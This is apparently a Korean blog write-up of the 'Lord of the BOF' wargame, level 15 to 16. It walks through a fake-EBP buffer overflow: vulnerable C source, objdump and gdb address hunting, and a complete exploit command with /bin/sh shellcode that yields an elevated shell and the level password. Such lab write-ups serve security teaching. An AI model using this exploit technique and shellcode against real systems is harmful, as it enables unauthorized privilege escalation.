본문 바로가기

워게임/lord of bof

level 15 -> 16



[assassin@localhost assassin]$ cat zombie_assassin.c 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


// strncpy instead of strcpy!

strncpy(buffer, argv[1], 48); 

printf("%s\n", buffer);

} 

fake ebp 문제네요


원리는 간단합니다. 저번 1byte overwriting이나 앞서 보셨던 leave;ret;ret;하고 약간 비슷한 문제에요.


우선 지금 sfp,ret 모두 덮을 수 있는 상황이지만 스택 영역이나 라이브러리 영역을 ret로 사용을 할 수 없는 상황이네요.


이전 1byte overwriting을 사용할 때 leave;ret; 과정을 한번 더해주었었죠! 여기서도 동일한 방법을 사용해봅시다.


우선 ret에 leave;ret; 주소를 넣은 이후의 동작을 보면..


이렇게 될게 뻔하니 SFP에 버퍼의 주소를 적어주고(버퍼-필요한 만큼의 크기를 적어줘도 됨)


버퍼+4byte의 위치에 shellcode가 위치하는 주소를 적어주면 되겠군요.


크기는 충분하니 그냥 버퍼에 쉘코드를 올린다 하면..


[4byte dummy][4byte shellcode address][32byte shellcode+nop][4byte buffer address(SFP)][4byte leave;ret; address(RET)]


이렇게 인자를 구성해주면 되겠군요!


우선 leave;ret;의 주소를 구해봅시다.


[assassin@localhost test]$ objdump -d ./zombie_assassin | grep leave

 8048311: c9                   leave  

 8048404: c9                   leave  

 804840b: c9                   leave  

 804842b: c9                   leave  

 8048433: c9                   leave  

 80484df: c9                   leave  

 8048511: c9                   leave  

 8048517: c9                   leave  

 8048534: c9                   leave 


암거나 쓰면 되지만 마지막 0x8048534를 써볼게요.


이제 버퍼의 주소를 구해봅시다.


(gdb) r `perl -e 'print "A"x4, "B"x4, "C"x32, "D"x4, "\x34\x85\x04\x08"'`


(gdb) x/100x $ebp-40

0xbffffa60: 0x41414141 0x42424242 0x43434343 0x43434343

0xbffffa70: 0x43434343 0x43434343 0x43434343 0x43434343

0xbffffa80: 0x43434343 0x43434343 0x44444444 0x08048534


4byte buffer = 0xbffffa60

4byte shell = 0xbffffa64


이렇게 값이 들어가겠군요


["AAAA"] [0xbffffa64] ["\x31\xc0\...", "\x90"x8] [0xbffffa60] [0x8048534]


인자를 완성해서 익스플로잇을 해봅시다!


[assassin@localhost assassin]$ ./zombie_assassin `perl -e 'print "A"x4, "\x68\xfa\xff\xbf", "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80", "\x90"x8, "\x60\xfa\xff\xbf", "\x34\x85\x04\x08"'`

AAAAh??픐h//shh/bin??S??

                            것€????????`??? 

bash$ id

uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)

bash$ my-pass

euid = 516

no place to hide

bash$ 


성공 ㅎㅎ



'워게임 > lord of bof' 카테고리의 다른 글

level 17 -> 18  (0) 2015.10.23
level 16 -> 17  (0) 2015.10.23
level 14 -> 15  (0) 2015.10.23
level 13 -> 14  (0) 2015.10.23
level 12 -> 13  (0) 2015.10.23